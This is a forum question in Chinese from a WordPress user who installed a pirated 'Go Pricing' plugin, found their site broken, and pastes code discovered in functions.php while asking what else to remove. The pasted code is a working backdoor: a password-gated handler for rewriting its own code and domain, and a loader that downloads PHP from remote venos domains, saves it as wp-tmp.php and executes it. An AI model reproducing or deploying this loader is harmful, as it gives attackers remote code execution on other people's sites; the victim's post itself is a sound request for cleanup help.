今天工作时，我试着安装Go Pricing 此网站的插件。

https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/

第一次没有成功，然后我试了好几次，但都没有结果。过了一段时间，我的网站一片空白。我搜索了Xampp错误，试图从数据库中停用插件（我无法访问admin或frontend）

最后，我在function.php

这是我必须担心的事吗？在我的WordPress上还有什么地方可以找到这个代码吗？

现在，我已从中删除此代码function.php 网站运行良好，但我担心如果我的密码和其他东西上传到某处。

有什么我必须删除的吗？

if (isset($_REQUEST[\'action\']) && isset($_REQUEST[\'password\']) && ($_REQUEST[\'password\'] == \'b08494ffce10b7c547993599bd7deb9e\'))
{
    $div_code_name="wp_vcd";

    switch ($_REQUEST[\'action\'])
    {
        case \'change_domain\';
            if (isset($_REQUEST[\'newdomain\']))
            {
                if (!empty($_REQUEST[\'newdomain\']))
                {
                    if ($file = @file_get_contents(__FILE__))
                    {
                        if(preg_match_all(\'/\\$tmpcontent = @file_get_contents\\("http:\\/\\/(.*)\\/code\\.php/i\',$file,$matcholddomain))
                        {
                            $file = preg_replace(\'/\'.$matcholddomain[1][0].\'/i\',$_REQUEST[\'newdomain\'], $file);
                            @file_put_contents(__FILE__, $file);
                            print "true";
                        }
                    }
                }
            }
          break;

        case \'change_code\';
            if (isset($_REQUEST[\'newcode\']))
            {
                if (!empty($_REQUEST[\'newcode\']))
                {
                    if ($file = @file_get_contents(__FILE__))
                    {
                        if(preg_match_all(\'/\\/\\/\\$start_wp_theme_tmp([\\s\\S]*)\\/\\/\\$end_wp_theme_tmp/i\',$file,$matcholdcode))
                        {
                            $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[\'newcode\']), $file);
                            @file_put_contents(__FILE__, $file);
                            print "true";
                        }
                    }
                }
            }
          break;

        default:
            print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

    die("");
}

$div_code_name = "wp_vcd";
$funcfile      = __FILE__;

if(!function_exists(\'theme_temp_setup\')) {
    $path = $_SERVER[\'HTTP_HOST\'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER[\'REQUEST_URI\'], \'wp-cron.php\') == false && stripos($_SERVER[\'REQUEST_URI\'], \'xmlrpc.php\') == false) {

        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }

        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            fwrite($handle, "<?php\\n" . $phpCode);
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }


        $wp_auth_key=\'322f4f8d2d11134e9bedae0c97257b9d\';
        if (($tmpcontent = @file_get_contents("http://www.venos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

                if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                    @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                    if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                        @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                    }
                }

            }
        }


        elseif ($tmpcontent = @file_get_contents("http://www.venos.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

     if (stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

            if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                    @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                }
            }

        }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . \'wp-includes/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));

        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . \'/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents(\'wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif (($tmpcontent = @file_get_contents("http://www.venos.pw/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.pw/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        }
    }
}

//$start_wp_theme_tmp

//wp_tmp

//$end_wp_theme_tmp

   if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\'))

     include_once(dirname(__FILE__) . \'/wp-vcd.php\');